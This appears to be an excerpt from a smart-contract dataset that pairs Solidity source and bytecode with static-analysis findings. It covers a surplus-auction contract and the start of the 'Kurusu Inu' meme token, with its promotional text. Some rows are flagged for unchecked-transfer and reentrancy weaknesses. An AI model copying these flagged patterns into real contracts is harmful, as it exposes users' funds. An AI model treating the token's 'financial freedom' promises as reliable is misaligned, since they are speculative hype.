3d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103519190610a2f565b610390576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161038790610c33565b60405180910390fd5b60016003600083815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6103c76108bd565b73ffffffffffffffffffffffffffffffffffffffff166103e561060f565b73ffffffffffffffffffffffffffffffffffffffff161461043b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161043290610c73565b60405180910390fd5b80600460006101000a81548160ff02191690831515021790555050565b6104606108bd565b73ffffffffffffffffffffffffffffffffffffffff1661047e61060f565b73ffffffffffffffffffffffffffffffffffffffff16146104d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104cb90610c73565b60405180910390fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401610531929190610baf565b602060405180830381600087803b15801561054b57600080fd5b505af115801561055f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105839190610a2f565b5050565b61058f6108bd565b73ffffffffffffffffffffffffffffffffffffffff166105ad61060f565b73ffffffffffffffffffffffffffffffffffffffff1614610603576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105fa90610c73565b60405180910390fd5b61060d60006108c5565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6106406108bd565b73ffffffffffffffffffffffffffffffffffffffff1661065e61060f565b73ffffffffffffffffffffffffffffffffffffffff16146106b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ab90610c73565b60405180910390fd5b8060018190555050565b6106c66108bd565b73ffffffffffffffffffffffffffffffffffffffff166106e461060f565b73ffffffffffffffffffffffffffffffffffffffff161461073a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161073190610c73565b60405180910390fd5b60001515600460009054906101000a900460ff16151514610790576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161078790610bf3565b60405180910390fd5b60006003600083815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60015481565b6107cd6108bd565b73ffffffffffffffffffffffffffffffffffffffff166107eb61060f565b73ffffffffffffffffffffffffffffffffffffffff1614610841576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161083890610c73565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156108b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108a890610c13565b60405180910390fd5b6108ba816108c5565b50565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60008135905061099881610dfa565b92915050565b6000813590506109ad81610e11565b92915050565b6000815190506109c281610e11565b92915050565b6000813590506109d781610e28565b92915050565b6000602082840312156109ef57600080fd5b60006109fd84828501610989565b91505092915050565b600060208284031215610a1857600080fd5b6000610a268482850161099e565b91505092915050565b600060208284031215610a4157600080fd5b6000610a4f848285016109b3565b91505092915050565b600060208284031215610a6a57600080fd5b6000610a78848285016109c8565b91505092915050565b610a8a81610cbf565b82525050565b610a9981610cd1565b82525050565b6000610aac600383610cae565b9150610ab782610d07565b602082019050919050565b6000610acf602683610cae565b9150610ada82610d30565b604082019050919050565b6000610af2600383610cae565b9150610afd82610d7f565b602082019050919050565b6000610b15600383610cae565b9150610b2082610da8565b602082019050919050565b6000610b38602083610cae565b9150610b4382610dd1565b602082019050919050565b610b5781610cfd565b82525050565b6000602082019050610b726000830184610a81565b92915050565b6000606082019050610b8d6000830186610a81565b610b9a6020830185610a81565b610ba76040830184610b4e565b949350505050565b6000604082019050610bc46000830185610a81565b610bd16020830184610b4e565b9392505050565b6000602082019050610bed6000830184610a90565b92915050565b60006020820190508181036000830152610c0c81610a9f565b9050919050565b60006020820190508181036000830152610c2c81610ac2565b9050919050565b60006020820190508181036000830152610c4c81610ae5565b9050919050565b60006020820190508181036000830152610c6c81610b08565b9050919050565b60006020820190508181036000830152610c8c81610b2b565b9050919050565b6000602082019050610ca86000830184610b4e565b92915050565b600082825260208201905092915050565b6000610cca82610cdd565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b7f4530390000000000000000000000000000000000000000000000000000000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f4530320000000000000000000000000000000000000000000000000000000000600082015250565b7f4530330000000000000000000000000000000000000000000000000000000000600082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b610e0381610cbf565b8114610e0e57600080fd5b50565b610e1a81610cd1565b8114610e2557600080fd5b50565b610e3181610cfd565b8114610e3c57600080fd5b5056fea264697066735822122076280f34fc036b40de9f8794460b35ca0a5278b384adba3980d13687f8d20e8464736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}} | 940 |
0xAe402576187cc68098F74E14253c9816346eb932 | // Copyright (C) 2018 Rain <rainbreak@riseup.net>
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Affero General Public License for more details.
//
// You should have received a copy of the GNU Affero General Public License
// along with this program. If not, see <https://www.gnu.org/licenses/>.
pragma solidity 0.6.7;
abstract contract SAFEEngineLike {
function transferInternalCoins(address,address,uint256) virtual external;
function coinBalance(address) virtual external view returns (uint256);
function approveSAFEModification(address) virtual external;
function denySAFEModification(address) virtual external;
}
abstract contract TokenLike {
function approve(address, uint256) virtual public returns (bool);
function balanceOf(address) virtual public view returns (uint256);
function move(address,address,uint256) virtual external;
function burn(address,uint256) virtual external;
}
contract RecyclingSurplusAuctionHouse {
// --- Auth ---
mapping (address => uint256) public authorizedAccounts;
/**
* @notice Add auth to an account
* @param account Account to add auth to
*/
function addAuthorization(address account) external isAuthorized {
authorizedAccounts[account] = 1;
emit AddAuthorization(account);
}
/**
* @notice Remove auth from an account
* @param account Account to remove auth from
*/
function removeAuthorization(address account) external isAuthorized {
authorizedAccounts[account] = 0;
emit RemoveAuthorization(account);
}
/**
* @notice Checks whether msg.sender can call an authed function
**/
modifier isAuthorized {
require(authorizedAccounts[msg.sender] == 1, "RecyclingSurplusAuctionHouse/account-not-authorized");
_;
}
// --- Data ---
struct Bid {
// Bid size (how many protocol tokens are offered per system coins sold)
uint256 bidAmount; // [wad]
// How many system coins are sold in an auction
uint256 amountToSell; // [rad]
// Who the high bidder is
address highBidder;
// When the latest bid expires and the auction can be settled
uint48 bidExpiry; // [unix epoch time]
// Hard deadline for the auction after which no more bids can be placed
uint48 auctionDeadline; // [unix epoch time]
}
// Bid data for each separate auction
mapping (uint256 => Bid) public bids;
// SAFE database
SAFEEngineLike public safeEngine;
// Protocol token address
TokenLike public protocolToken;
// Receiver of protocol tokens
address public protocolTokenBidReceiver;
uint256 constant ONE = 1.00E18; // [wad]
// Minimum bid increase compared to the last bid in order to take the new one in consideration
uint256 public bidIncrease = 1.05E18; // [wad]
// How long the auction lasts after a new bid is submitted
uint48 public bidDuration = 3 hours; // [seconds]
// Total length of the auction
uint48 public totalAuctionLength = 2 days; // [seconds]
// Number of auctions started up until now
uint256 public auctionsStarted = 0;
// Whether the contract is settled or not
uint256 public contractEnabled;
bytes32 public constant AUCTION_HOUSE_TYPE = bytes32("SURPLUS");
bytes32 public constant SURPLUS_AUCTION_TYPE = bytes32("RECYCLING");
// --- Events ---
event AddAuthorization(address account);
event RemoveAuthorization(address account);
event ModifyParameters(bytes32 parameter, uint256 data);
event ModifyParameters(bytes32 parameter, address addr);
event RestartAuction(uint256 id, uint256 auctionDeadline);
event IncreaseBidSize(uint256 id, address highBidder, uint256 amountToBuy, uint256 bid, uint256 bidExpiry);
event StartAuction(
uint256 indexed id,
uint256 auctionsStarted,
uint256 amountToSell,
uint256 initialBid,
uint256 auctionDeadline
);
event SettleAuction(uint256 indexed id);
event DisableContract();
event TerminateAuctionPrematurely(uint256 indexed id, address sender, address highBidder, uint256 bidAmount);
// --- Init ---
constructor(address safeEngine_, address protocolToken_) public {
authorizedAccounts[msg.sender] = 1;
safeEngine = SAFEEngineLike(safeEngine_);
protocolToken = TokenLike(protocolToken_);
contractEnabled = 1;
emit AddAuthorization(msg.sender);
}
// --- Math ---
function addUint48(uint48 x, uint48 y) internal pure returns (uint48 z) {
require((z = x + y) >= x, "RecyclingSurplusAuctionHouse/add-uint48-overflow");
}
function multiply(uint256 x, uint256 y) internal pure returns (uint256 z) {
require(y == 0 || (z = x * y) / y == x, "RecyclingSurplusAuctionHouse/mul-overflow");
}
// --- Admin ---
/**
* @notice Modify uint256 parameters
* @param parameter The name of the parameter modified
* @param data New value for the parameter
*/
function modifyParameters(bytes32 parameter, uint256 data) external isAuthorized {
if (parameter == "bidIncrease") bidIncrease = data;
else if (parameter == "bidDuration") bidDuration = uint48(data);
else if (parameter == "totalAuctionLength") totalAuctionLength = uint48(data);
else revert("RecyclingSurplusAuctionHouse/modify-unrecognized-param");
emit ModifyParameters(parameter, data);
}
/**
* @notice Modify address parameters
* @param parameter The name of the parameter modified
* @param addr New address value
*/
function modifyParameters(bytes32 parameter, address addr) external isAuthorized {
require(addr != address(0), "RecyclingSurplusAuctionHouse/invalid-address");
if (parameter == "protocolTokenBidReceiver") protocolTokenBidReceiver = addr;
else revert("RecyclingSurplusAuctionHouse/modify-unrecognized-param");
emit ModifyParameters(parameter, addr);
}
// --- Auction ---
/**
* @notice Start a new surplus auction
* @param amountToSell Total amount of system coins to sell (rad)
* @param initialBid Initial protocol token bid (wad)
*/
function startAuction(uint256 amountToSell, uint256 initialBid) external isAuthorized returns (uint256 id) {
require(contractEnabled == 1, "RecyclingSurplusAuctionHouse/contract-not-enabled");
require(auctionsStarted < uint256(-1), "RecyclingSurplusAuctionHouse/overflow");
require(protocolTokenBidReceiver != address(0), "RecyclingSurplusAuctionHouse/null-prot-token-receiver");
id = ++auctionsStarted;
bids[id].bidAmount = initialBid;
bids[id].amountToSell = amountToSell;
bids[id].highBidder = msg.sender;
bids[id].auctionDeadline = addUint48(uint48(now), totalAuctionLength);
safeEngine.transferInternalCoins(msg.sender, address(this), amountToSell);
emit StartAuction(id, auctionsStarted, amountToSell, initialBid, bids[id].auctionDeadline);
}
/**
* @notice Restart an auction if no bids were submitted for it
* @param id ID of the auction to restart
*/
function restartAuction(uint256 id) external {
require(bids[id].auctionDeadline < now, "RecyclingSurplusAuctionHouse/not-finished");
require(bids[id].bidExpiry == 0, "RecyclingSurplusAuctionHouse/bid-already-placed");
bids[id].auctionDeadline = addUint48(uint48(now), totalAuctionLength);
emit RestartAuction(id, bids[id].auctionDeadline);
}
/**
* @notice Submit a higher protocol token bid for the same amount of system coins
* @param id ID of the auction you want to submit the bid for
* @param amountToBuy Amount of system coins to buy (rad)
* @param bid New bid submitted (wad)
*/
function increaseBidSize(uint256 id, uint256 amountToBuy, uint256 bid) external {
require(contractEnabled == 1, "RecyclingSurplusAuctionHouse/contract-not-enabled");
require(bids[id].highBidder != address(0), "RecyclingSurplusAuctionHouse/high-bidder-not-set");
require(bids[id].bidExpiry > now || bids[id].bidExpiry == 0, "RecyclingSurplusAuctionHouse/bid-already-expired");
require(bids[id].auctionDeadline > now, "RecyclingSurplusAuctionHouse/auction-already-expired");
require(amountToBuy == bids[id].amountToSell, "RecyclingSurplusAuctionHouse/amounts-not-matching");
require(bid > bids[id].bidAmount, "RecyclingSurplusAuctionHouse/bid-not-higher");
require(multiply(bid, ONE) >= multiply(bidIncrease, bids[id].bidAmount), "RecyclingSurplusAuctionHouse/insufficient-increase");
if (msg.sender != bids[id].highBidder) {
protocolToken.move(msg.sender, bids[id].highBidder, bids[id].bidAmount);
bids[id].highBidder = msg.sender;
}
protocolToken.move(msg.sender, address(this), bid - bids[id].bidAmount);
bids[id].bidAmount = bid;
bids[id].bidExpiry = addUint48(uint48(now), bidDuration);
emit IncreaseBidSize(id, msg.sender, amountToBuy, bid, bids[id].bidExpiry);
}
/**
* @notice Settle/finish an auction
* @param id ID of the auction to settle
*/
function settleAuction(uint256 id) external {
require(contractEnabled == 1, "RecyclingSurplusAuctionHouse/contract-not-enabled");
require(bids[id].bidExpiry != 0 && (bids[id].bidExpiry < now || bids[id].auctionDeadline < now), "RecyclingSurplusAuctionHouse/not-finished");
safeEngine.transferInternalCoins(address(this), bids[id].highBidder, bids[id].amountToSell);
protocolToken.move(address(this), protocolTokenBidReceiver, bids[id].bidAmount);
delete bids[id];
emit SettleAuction(id);
}
/**
* @notice Disable the auction house (usually called by AccountingEngine)
**/
function disableContract() external isAuthorized {
contractEnabled = 0;
safeEngine.transferInternalCoins(address(this), msg.sender, safeEngine.coinBalance(address(this)));
emit DisableContract();
}
/**
* @notice Terminate an auction prematurely.
* @param id ID of the auction to settle/terminate
*/
function terminateAuctionPrematurely(uint256 id) external {
require(contractEnabled == 0, "RecyclingSurplusAuctionHouse/contract-still-enabled");
require(bids[id].highBidder != address(0), "RecyclingSurplusAuctionHouse/high-bidder-not-set");
protocolToken.move(address(this), bids[id].highBidder, bids[id].bidAmount);
emit TerminateAuctionPrematurely(id, msg.sender, bids[id].highBidder, bids[id].bidAmount);
delete bids[id];
}
} | 0x608060405234801561001057600080fd5b50600436106101425760003560e01c8063619ed1f8116100b8578063933f76081161007c578063933f76081461031657806394f3f81d14610333578063d25ccf5314610359578063f0ed4db014610376578063f6b45eb71461037e578063fe4f58901461038657610142565b8063619ed1f8146102af5780636614f010146102b757806367aea313146102e357806373c0a367146102eb578063894ba8331461030e57610142565b806335b281531161010a57806335b28153146101d257806341b3a0d9146101f85780634423c5f1146102005780634fee13fc1461025b578063551cb3b11461027e5780635a93f0311461028657610142565b80630ac239e5146101475780631266fb94146101615780631a465fe11461016957806324ba58841461018d5780632e993611146101b3575b600080fd5b61014f6103a9565b60408051918252519081900360200190f35b61014f6103af565b6101716103bd565b604080516001600160a01b039092168252519081900360200190f35b61014f600480360360208110156101a357600080fd5b50356001600160a01b03166103cc565b6101d0600480360360208110156101c957600080fd5b50356103de565b005b6101d0600480360360208110156101e857600080fd5b50356001600160a01b0316610629565b61014f6106c9565b61021d6004803603602081101561021657600080fd5b50356106cf565b6040805195865260208601949094526001600160a01b039092168484015265ffffffffffff9081166060850152166080830152519081900360a00190f35b61014f6004803603604081101561027157600080fd5b5080359060200135610713565b61014f610997565b6101d06004803603606081101561029c57600080fd5b508035906020810135906040013561099d565b61014f610e1e565b6101d0600480360360408110156102cd57600080fd5b50803590602001356001600160a01b0316610e2e565b610171610f87565b6102f3610f96565b6040805165ffffffffffff9092168252519081900360200190f35b6101d0610fab565b6101d06004803603602081101561032c57600080fd5b5035611119565b6101d06004803603602081101561034957600080fd5b50356001600160a01b03166112b6565b6101d06004803603602081101561036f57600080fd5b5035611355565b6101716114a4565b6102f36114b3565b6101d06004803603604081101561039c57600080fd5b50803590602001356114c1565b60055481565b66535552504c555360c81b81565b6003546001600160a01b031681565b60006020819052908152604090205481565b60085460011461041f5760405162461bcd60e51b815260040180806020018281038252603181526020018061171f6031913960400191505060405180910390fd5b600081815260016020526040902060020154600160a01b900465ffffffffffff1615801590610498575060008181526001602052604090206002015442600160a01b90910465ffffffffffff161080610498575060008181526001602052604090206002015442600160d01b90910465ffffffffffff16105b6104d35760405162461bcd60e51b815260040180806020018281038252602981526020018061168f6029913960400191505060405180910390fd5b6002805460008381526001602081905260408083209485015494909101548151633beaf2b760e21b81523060048201526001600160a01b03958616602482015260448101919091529051939092169263efabcadc92606480820193929182900301818387803b15801561054557600080fd5b505af1158015610559573d6000803e3d6000fd5b50506003546004805460008681526001602052604080822054815163bb35783b60e01b815230958101959095526001600160a01b03938416602486015260448501525191909316945063bb35783b93506064808301939282900301818387803b1580156105c557600080fd5b505af11580156105d9573d6000803e3d6000fd5b50505060008281526001602081905260408083208381559182018390556002909101829055518392507f03af424b0e12d91ea31fe7f2c199fc02c9ede38f9aa1bdc019a8087b41445f7a9190a250565b336000908152602081905260409020546001146106775760405162461bcd60e51b81526004018080602001828103825260338152602001806116b86033913960400191505060405180910390fd5b6001600160a01b0381166000818152602081815260409182902060019055815192835290517f599a298163e1678bb1c676052a8930bf0b8a1261ed6e01b8a2391e55f70001029281900390910190a150565b60085481565b60016020819052600091825260409091208054918101546002909101546001600160a01b0381169065ffffffffffff600160a01b8204811691600160d01b90041685565b336000908152602081905260408120546001146107615760405162461bcd60e51b81526004018080602001828103825260338152602001806116b86033913960400191505060405180910390fd5b6008546001146107a25760405162461bcd60e51b815260040180806020018281038252603181526020018061171f6031913960400191505060405180910390fd5b600019600754106107e45760405162461bcd60e51b81526004018080602001828103825260258152602001806117506025913960400191505060405180910390fd5b6004546001600160a01b031661082b5760405162461bcd60e51b81526004018080602001828103825260358152602001806119506035913960400191505060405180910390fd5b5060078054600190810191829055600082815260208290526040902083815590810184905560020180546001600160a01b0319163317905560065461088190429065ffffffffffff600160301b909104166115e5565b6000828152600160205260408082206002908101805465ffffffffffff95909516600160d01b026001600160d01b039095169490941790935591548251633beaf2b760e21b81523360048201523060248201526044810187905292516001600160a01b039091169263efabcadc92606480830193919282900301818387803b15801561090c57600080fd5b505af1158015610920573d6000803e3d6000fd5b505060075460008481526001602090815260409182902060020154825193845290830188905282820187905265ffffffffffff600160d01b909104166060830152518493507fa4863af70e77aecfe2769e0569806782ba7c6f86fc9a307290a3816fb8a563e592509081900360800190a292915050565b60075481565b6008546001146109de5760405162461bcd60e51b815260040180806020018281038252603181526020018061171f6031913960400191505060405180910390fd5b6000838152600160205260409020600201546001600160a01b0316610a345760405162461bcd60e51b81526004018080602001828103825260308152602001806118f06030913960400191505060405180910390fd5b60008381526001602052604090206002015442600160a01b90910465ffffffffffff161180610a815750600083815260016020526040902060020154600160a01b900465ffffffffffff16155b610abc5760405162461bcd60e51b81526004018080602001828103825260308152602001806119206030913960400191505060405180910390fd5b60008381526001602052604090206002015442600160d01b90910465ffffffffffff1611610b1b5760405162461bcd60e51b81526004018080602001828103825260348152602001806116eb6034913960400191505060405180910390fd5b600083815260016020819052604090912001548214610b6b5760405162461bcd60e51b81526004018080602001828103825260318152602001806118946031913960400191505060405180910390fd5b6000838152600160205260409020548111610bb75760405162461bcd60e51b815260040180806020018281038252602b8152602001806118c5602b913960400191505060405180910390fd5b600554600084815260016020526040902054610bd39190611638565b610be582670de0b6b3a7640000611638565b1015610c225760405162461bcd60e51b81526004018080602001828103825260328152602001806117a46032913960400191505060405180910390fd5b6000838152600160205260409020600201546001600160a01b03163314610ce95760035460008481526001602052604080822060028101549054825163bb35783b60e01b81523360048201526001600160a01b0392831660248201526044810191909152915193169263bb35783b9260648084019391929182900301818387803b158015610caf57600080fd5b505af1158015610cc3573d6000803e3d6000fd5b505050600084815260016020526040902060020180546001600160a01b03191633179055505b60035460008481526001602052604080822054815163bb35783b60e01b8152336004820152306024820152908503604482015290516001600160a01b039093169263bb35783b9260648084019391929182900301818387803b158015610d4e57600080fd5b505af1158015610d62573d6000803e3d6000fd5b505050600084815260016020526040902082905550600654610d8d90429065ffffffffffff166115e5565b600084815260016020908152604091829020600201805465ffffffffffff60a01b1916600160a01b65ffffffffffff95861681029190911791829055835188815233938101939093528284018790526060830186905290049092166080830152517fd87c815d5a67c2e130ad04b714d87a6fb69d5a6df0dbb0f1639cd9fe292201f99160a0908290030190a1505050565b6852454359434c494e4760b81b81565b33600090815260208190526040902054600114610e7c5760405162461bcd60e51b81526004018080602001828103825260338152602001806116b86033913960400191505060405180910390fd5b6001600160a01b038116610ec15760405162461bcd60e51b815260040180806020018281038252602c81526020018061183f602c913960400191505060405180910390fd5b817f70726f746f636f6c546f6b656e426964526563656976657200000000000000001415610f0957600480546001600160a01b0319166001600160a01b038316179055610f40565b60405162461bcd60e51b81526004018080602001828103825260368152602001806117d66036913960400191505060405180910390fd5b604080518381526001600160a01b038316602082015281517fd91f38cf03346b5dc15fb60f9076f866295231ad3c3841a1051f8443f25170d1929181900390910190a15050565b6002546001600160a01b031681565b600654600160301b900465ffffffffffff1681565b33600090815260208190526040902054600114610ff95760405162461bcd60e51b81526004018080602001828103825260338152602001806116b86033913960400191505060405180910390fd5b600060085560025460408051633eaf7a0360e21b8152306004820181905291516001600160a01b039093169263efabcadc92913391859163fabde80c916024808301926020929190829003018186803b15801561105557600080fd5b505afa158015611069573d6000803e3d6000fd5b505050506040513d602081101561107f57600080fd5b5051604080516001600160e01b031960e087901b1681526001600160a01b03948516600482015292909316602483015260448201529051606480830192600092919082900301818387803b1580156110d657600080fd5b505af11580156110ea573d6000803e3d6000fd5b50506040517f2d4b4ecff7bd7503135271925520a2f6c0d98c9473ffc1a1e72c92502f51b25e925060009150a1565b600854156111585760405162461bcd60e51b815260040180806020018281038252603381526020018061180c6033913960400191505060405180910390fd5b6000818152600160205260409020600201546001600160a01b03166111ae5760405162461bcd60e51b81526004018080602001828103825260308152602001806118f06030913960400191505060405180910390fd5b60035460008281526001602052604080822060028101549054825163bb35783b60e01b81523060048201526001600160a01b0392831660248201526044810191909152915193169263bb35783b9260648084019391929182900301818387803b15801561121a57600080fd5b505af115801561122e573d6000803e3d6000fd5b5050506000828152600160209081526040918290206002810154905483513381526001600160a01b03909216928201929092528083019190915290518392507f723f56b5ac5fb3399765203804e790344f427477918842dbef525d795af4bcca9181900360600190a26000908152600160208190526040822082815590810182905560020155565b336000908152602081905260409020546001146113045760405162461bcd60e51b81526004018080602001828103825260338152602001806116b86033913960400191505060405180910390fd5b6001600160a01b03811660008181526020818152604080832092909255815192835290517f8834a87e641e9716be4f34527af5d23e11624f1ddeefede6ad75a9acfc31b9039281900390910190a150565b60008181526001602052604090206002015442600160d01b90910465ffffffffffff16106113b45760405162461bcd60e51b815260040180806020018281038252602981526020018061168f6029913960400191505060405180910390fd5b600081815260016020526040902060020154600160a01b900465ffffffffffff16156114115760405162461bcd60e51b815260040180806020018281038252602f815260200180611775602f913960400191505060405180910390fd5b60065461142e904290600160301b900465ffffffffffff166115e5565b60008281526001602090815260409182902060020180546001600160d01b0316600160d01b65ffffffffffff95861681029190911791829055835186815291049093169083015280517f10a109258779eb298071adf16637b95f8d7cf00e49595711da10eeb90e6e8e949281900390910190a150565b6004546001600160a01b031681565b60065465ffffffffffff1681565b3360009081526020819052604090205460011461150f5760405162461bcd60e51b81526004018080602001828103825260338152602001806116b86033913960400191505060405180910390fd5b816a626964496e63726561736560a81b141561152f5760058190556115a6565b816a3134b2223ab930ba34b7b760a91b1415611563576006805465ffffffffffff191665ffffffffffff83161790556115a6565b81710e8dee8c2d882eac6e8d2dedc98cadccee8d60731b1415610f0957600680546bffffffffffff0000000000001916600160301b65ffffffffffff8416021790555b604080518381526020810183905281517fac7c5c1afaef770ec56ac6268cd3f2fbb1035858ead2601d6553157c33036c3a929181900390910190a15050565b80820165ffffffffffff80841690821610156116325760405162461bcd60e51b81526004018080602001828103825260308152602001806119856030913960400191505060405180910390fd5b92915050565b60008115806116535750508082028282828161165057fe5b04145b6116325760405162461bcd60e51b815260040180806020018281038252602981526020018061186b6029913960400191505060405180910390fdfe52656379636c696e67537572706c757341756374696f6e486f7573652f6e6f742d66696e697368656452656379636c696e67537572706c757341756374696f6e486f7573652f6163636f756e742d6e6f742d617574686f72697a656452656379636c696e67537572706c757341756374696f6e486f7573652f61756374696f6e2d616c72656164792d6578706972656452656379636c696e67537572706c757341756374696f6e486f7573652f636f6e74726163742d6e6f742d656e61626c656452656379636c696e67537572706c757341756374696f6e486f7573652f6f766572666c6f7752656379636c696e67537572706c757341756374696f6e486f7573652f6269642d616c72656164792d706c6163656452656379636c696e67537572706c757341756374696f6e486f7573652f696e73756666696369656e742d696e63726561736552656379636c696e67537572706c757341756374696f6e486f7573652f6d6f646966792d756e7265636f676e697a65642d706172616d52656379636c696e67537572706c757341756374696f6e486f7573652f636f6e74726163742d7374696c6c2d656e61626c656452656379636c696e67537572706c757341756374696f6e486f7573652f696e76616c69642d6164647265737352656379636c696e67537572706c757341756374696f6e486f7573652f6d756c2d6f766572666c6f7752656379636c696e67537572706c757341756374696f6e486f7573652f616d6f756e74732d6e6f742d6d61746368696e6752656379636c696e67537572706c757341756374696f6e486f7573652f6269642d6e6f742d68696768657252656379636c696e67537572706c757341756374696f6e486f7573652f686967682d6269646465722d6e6f742d73657452656379636c696e67537572706c757341756374696f6e486f7573652f6269642d616c72656164792d6578706972656452656379636c696e67537572706c757341756374696f6e486f7573652f6e756c6c2d70726f742d746f6b656e2d726563656976657252656379636c696e67537572706c757341756374696f6e486f7573652f6164642d75696e7434382d6f766572666c6f77a2646970667358221220406bfa4b4db70f18bf85d830a65b56b8a1dd75e0cc52f04ca0e4730905e4597164736f6c63430006070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}} | 941 |
0x0cdc7c5d50416cfe6cdeb55f8c35cc8ad068bfb4 | /**
*Submitted for verification at Etherscan.io on 2022-04-19
*/
/**
*/
/**
KURUSU is the next big anime token on ERC
Kurusu (来栖, Kurusu) is the tritagonist of Kabaneri of the Iron Fortress. Kurusu takes his job extremely seriously, honoring his profession and social class to the extreme, always ready to put his life down for the common folk and his liege lord.
Kurusu has now set his eyes on taking over the crypto world. By his low tax approach and beloved One piece theme. So come sail with KURUSU DAO to financial freedom!!!
KURUSU DAO is working on a KURUSU DAO Swap.
KURUSU DAO is also working on a p2e (play to earn) blockchain game.
👑 Token Economics 👑
Low tax 5%
🤺2% development/Swap
🤺2% reflections
🤺1% Marketing
Telegram : https://t.me/KurusuInu
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract KurusuInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Kurusu Inu";
string private constant _symbol = "KINU";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 5;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 5;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
